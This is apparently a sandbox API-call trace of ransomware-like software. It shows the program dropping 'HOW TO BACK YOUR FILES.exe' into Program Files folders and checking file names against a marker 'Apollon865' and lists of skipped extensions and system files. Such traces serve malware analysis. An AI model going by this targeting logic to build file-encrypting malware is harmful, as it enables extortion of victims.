	[0062.107] lstrlenW (lpString="PhotoAcq.dll") returned 12
	[0062.107] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="PhotoBase.dll" | out: lpString1="PhotoBase.dll") returned="PhotoBase.dll"
	[0062.107] lstrlenW (lpString="PhotoBase.dll") returned 13
	[0062.107] lstrlenW (lpString="Apollon865") returned 10
	[0062.107] lstrcmpiW (lpString1="toBase.dll", lpString2="Apollon865") returned 1
	[0062.107] lstrlenW (lpString=".dll") returned 4
	[0062.107] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".dll") returned 1
	[0062.107] lstrlenW (lpString=".lnk") returned 4
	[0062.107] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".lnk") returned 1
	[0062.107] lstrlenW (lpString=".ini") returned 4
	[0062.107] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".ini") returned 1
	[0062.107] lstrlenW (lpString=".sys") returned 4
	[0062.107] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".sys") returned 1
	[0062.107] lstrlenW (lpString="PhotoBase.dll") returned 13
	[0062.108] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="PhotoViewer.dll" | out: lpString1="PhotoViewer.dll") returned="PhotoViewer.dll"
	[0062.108] lstrlenW (lpString="PhotoViewer.dll") returned 15
	[0062.108] lstrlenW (lpString="Apollon865") returned 10
	[0062.108] lstrcmpiW (lpString1="Viewer.dll", lpString2="Apollon865") returned 1
	[0062.108] lstrlenW (lpString=".dll") returned 4
	[0062.108] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".dll") returned 1
	[0062.108] lstrlenW (lpString=".lnk") returned 4
	[0062.108] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".lnk") returned 1
	[0062.108] lstrlenW (lpString=".ini") returned 4
	[0062.108] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".ini") returned 1
	[0062.108] lstrlenW (lpString=".sys") returned 4
	[0062.108] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".sys") returned 1
	[0062.108] lstrlenW (lpString="PhotoViewer.dll") returned 15
	[0062.108] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Photo Viewer\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Photo Viewer\\en-US") returned="C:\\Program Files\\Windows Photo Viewer\\en-US"
	[0062.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0062.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0062.108] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer\\en-US") returned 43
	[0062.108] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Photo Viewer\\en-US" | out: lpString1="C:\\Program Files\\Windows Photo Viewer\\en-US") returned="C:\\Program Files\\Windows Photo Viewer\\en-US"
	[0062.108] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.108] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows photo viewer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.117] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d1835d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d1835d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.118] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.118] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.118] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.118] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d1835d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d1835d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.118] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.118] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.118] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.118] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.118] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1835d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d1835d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.118] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.118] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="Apollon865.txt.exe") returned 1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="windows") returned -1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="bootmgr") returned 1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="temp") returned -1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="pagefile.sys") returned -1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="boot") returned 1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="ids.txt") returned 1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="ntuser.dat") returned -1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="perflogs") returned -1
	[0062.118] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="MSBuild") returned -1
	[0062.118] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22
	[0062.118] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer\\en-US\\*") returned 45
	[0062.119] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="ImagingDevices.exe.mui" | out: lpString1="ImagingDevices.exe.mui") returned="ImagingDevices.exe.mui"
	[0062.119] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22
	[0062.119] lstrlenW (lpString="Apollon865") returned 10
	[0062.119] lstrcmpiW (lpString1="es.exe.mui", lpString2="Apollon865") returned 1
	[0062.119] lstrlenW (lpString=".dll") returned 4
	[0062.119] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".dll") returned 1
	[0062.119] lstrlenW (lpString=".lnk") returned 4
	[0062.119] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".lnk") returned 1
	[0062.119] lstrlenW (lpString=".ini") returned 4
	[0062.119] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".ini") returned 1
	[0062.119] lstrlenW (lpString=".sys") returned 4
	[0062.119] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".sys") returned 1
	[0062.119] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22
	[0062.119] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="PhotoAcq.dll.mui" | out: lpString1="PhotoAcq.dll.mui") returned="PhotoAcq.dll.mui"
	[0062.119] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16
	[0062.119] lstrlenW (lpString="Apollon865") returned 10
	[0062.119] lstrcmpiW (lpString1="cq.dll.mui", lpString2="Apollon865") returned 1
	[0062.119] lstrlenW (lpString=".dll") returned 4
	[0062.119] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".dll") returned 1
	[0062.119] lstrlenW (lpString=".lnk") returned 4
	[0062.119] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".lnk") returned 1
	[0062.119] lstrlenW (lpString=".ini") returned 4
	[0062.119] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".ini") returned 1
	[0062.119] lstrlenW (lpString=".sys") returned 4
	[0062.119] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".sys") returned 1
	[0062.119] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16
	[0062.119] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="PhotoViewer.dll.mui" | out: lpString1="PhotoViewer.dll.mui") returned="PhotoViewer.dll.mui"
	[0062.119] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19
	[0062.120] lstrlenW (lpString="Apollon865") returned 10
	[0062.120] lstrcmpiW (lpString1="er.dll.mui", lpString2="Apollon865") returned 1
	[0062.120] lstrlenW (lpString=".dll") returned 4
	[0062.120] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".dll") returned 1
	[0062.120] lstrlenW (lpString=".lnk") returned 4
	[0062.120] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".lnk") returned 1
	[0062.134] lstrlenW (lpString=".ini") returned 4
	[0062.134] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".ini") returned 1
	[0062.134] lstrlenW (lpString=".sys") returned 4
	[0062.134] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".sys") returned 1
	[0062.134] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19
	[0062.134] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows NT", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT"
	[0062.134] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca310 | out: hHeap=0x580000) returned 1
	[0062.134] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0062.134] lstrlenW (lpString="C:\\Program Files\\Windows NT") returned 27
	[0062.134] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows NT" | out: lpString1="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT"
	[0062.134] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.134] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.151] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.151] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d1cf890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d1cf890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.152] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.152] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.152] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.152] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d1cf890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d1cf890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.152] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.152] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.152] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.152] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.152] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="Apollon865.txt.exe") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2=".") returned 1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="..") returned 1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="windows") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="bootmgr") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="temp") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="pagefile.sys") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="boot") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="ids.txt") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="ntuser.dat") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="perflogs") returned -1
	[0062.152] lstrcmpiW (lpString1="Accessories", lpString2="MSBuild") returned -1
	[0062.152] lstrlenW (lpString="Accessories") returned 11
	[0062.152] lstrlenW (lpString="C:\\Program Files\\Windows NT\\*") returned 29
	[0062.152] lstrcpyW (in: lpString1=0x2d3e588, lpString2="Accessories" | out: lpString1="Accessories") returned="Accessories"
	[0062.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0062.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcac0
	[0062.152] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0062.152] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1a9730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d1a9730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.153] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.153] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1
	[0062.153] lstrcmpiW (lpString1="TableTextService", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.153] lstrcmpiW (lpString1="TableTextService", lpString2="Apollon865.txt.exe") returned 1
	[0062.153] lstrcmpiW (lpString1="TableTextService", lpString2=".") returned 1
	[0062.153] lstrcmpiW (lpString1="TableTextService", lpString2="..") returned 1
	[0062.153] lstrcmpiW (lpString1="TableTextService", lpString2="windows") returned -1
	[0062.153] lstrcmpiW (lpString1="TableTextService", lpString2="bootmgr") returned 1
	[0062.153] lstrcpyW (in: lpString1=0x2d3e588, lpString2="TableTextService" | out: lpString1="TableTextService") returned="TableTextService"
	[0062.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0062.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5458
	[0062.153] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0062.153] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0062.153] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.153] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0062.153] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows NT\\TableTextService", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows NT\\TableTextService") returned="C:\\Program Files\\Windows NT\\TableTextService"
	[0062.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0062.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0062.153] lstrlenW (lpString="C:\\Program Files\\Windows NT\\TableTextService") returned 44
	[0062.153] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows NT\\TableTextService" | out: lpString1="C:\\Program Files\\Windows NT\\TableTextService") returned="C:\\Program Files\\Windows NT\\TableTextService"
	[0062.153] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.153] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\tabletextservice\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.157] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d1f59f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d1f59f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.157] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.157] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.157] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0062.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0062.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5c8fa0
	[0062.157] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0062.157] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1f59f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d1f59f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.158] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.158] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0062.158] lstrcmpiW (lpString1="TableTextService.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.158] lstrcmpiW (lpString1="TableTextService.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.158] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="TableTextService.dll" | out: lpString1="TableTextService.dll") returned="TableTextService.dll"
	[0062.158] lstrlenW (lpString="TableTextService.dll") returned 20
	[0062.158] lstrlenW (lpString="Apollon865") returned 10
	[0062.158] lstrcmpiW (lpString1="ervice.dll", lpString2="Apollon865") returned 1
	[0062.158] lstrlenW (lpString=".dll") returned 4
	[0062.158] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".dll") returned 1
	[0062.158] lstrlenW (lpString=".lnk") returned 4
	[0062.158] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".lnk") returned 1
	[0062.158] lstrlenW (lpString=".ini") returned 4
	[0062.158] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".ini") returned 1
	[0062.158] lstrlenW (lpString=".sys") returned 4
	[0062.158] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".sys") returned 1
	[0062.158] lstrlenW (lpString="TableTextService.dll") returned 20
	[0062.158] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="TableTextServiceAmharic.txt" | out: lpString1="TableTextServiceAmharic.txt") returned="TableTextServiceAmharic.txt"
	[0062.158] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27
	[0062.158] lstrlenW (lpString="Apollon865") returned 10
	[0062.158] lstrcmpiW (lpString1="mharic.txt", lpString2="Apollon865") returned 1
	[0062.158] lstrlenW (lpString=".dll") returned 4
	[0062.158] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".dll") returned 1
	[0062.158] lstrlenW (lpString=".lnk") returned 4
	[0062.158] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".lnk") returned 1
	[0062.158] lstrlenW (lpString=".ini") returned 4
	[0062.158] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".ini") returned 1
	[0062.158] lstrlenW (lpString=".sys") returned 4
	[0062.158] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".sys") returned 1
	[0062.158] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27
	[0062.159] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="TableTextServiceArray.txt" | out: lpString1="TableTextServiceArray.txt") returned="TableTextServiceArray.txt"
	[0062.159] lstrlenW (lpString="TableTextServiceArray.txt") returned 25
	[0062.159] lstrlenW (lpString="Apollon865") returned 10
	[0062.159] lstrcmpiW (lpString1="eArray.txt", lpString2="Apollon865") returned 1
	[0062.159] lstrlenW (lpString=".dll") returned 4
	[0062.159] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".dll") returned 1
	[0062.159] lstrlenW (lpString=".lnk") returned 4
	[0062.159] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".lnk") returned 1
	[0062.159] lstrlenW (lpString=".ini") returned 4
	[0062.159] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".ini") returned 1
	[0062.159] lstrlenW (lpString=".sys") returned 4
	[0062.159] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".sys") returned 1
	[0062.159] lstrlenW (lpString="TableTextServiceArray.txt") returned 25
	[0062.159] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="TableTextServiceDaYi.txt" | out: lpString1="TableTextServiceDaYi.txt") returned="TableTextServiceDaYi.txt"
	[0062.159] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24
	[0062.159] lstrlenW (lpString="Apollon865") returned 10
	[0062.159] lstrcmpiW (lpString1="ceDaYi.txt", lpString2="Apollon865") returned 1
	[0062.159] lstrlenW (lpString=".dll") returned 4
	[0062.159] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".dll") returned 1
	[0062.159] lstrlenW (lpString=".lnk") returned 4
	[0062.159] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".lnk") returned 1
	[0062.159] lstrlenW (lpString=".ini") returned 4
	[0062.159] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".ini") returned 1
	[0062.159] lstrlenW (lpString=".sys") returned 4
	[0062.159] lstrcmpiW (lpString1="TableTextServiceDaYi.txt", lpString2=".sys") returned 1
	[0062.159] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24
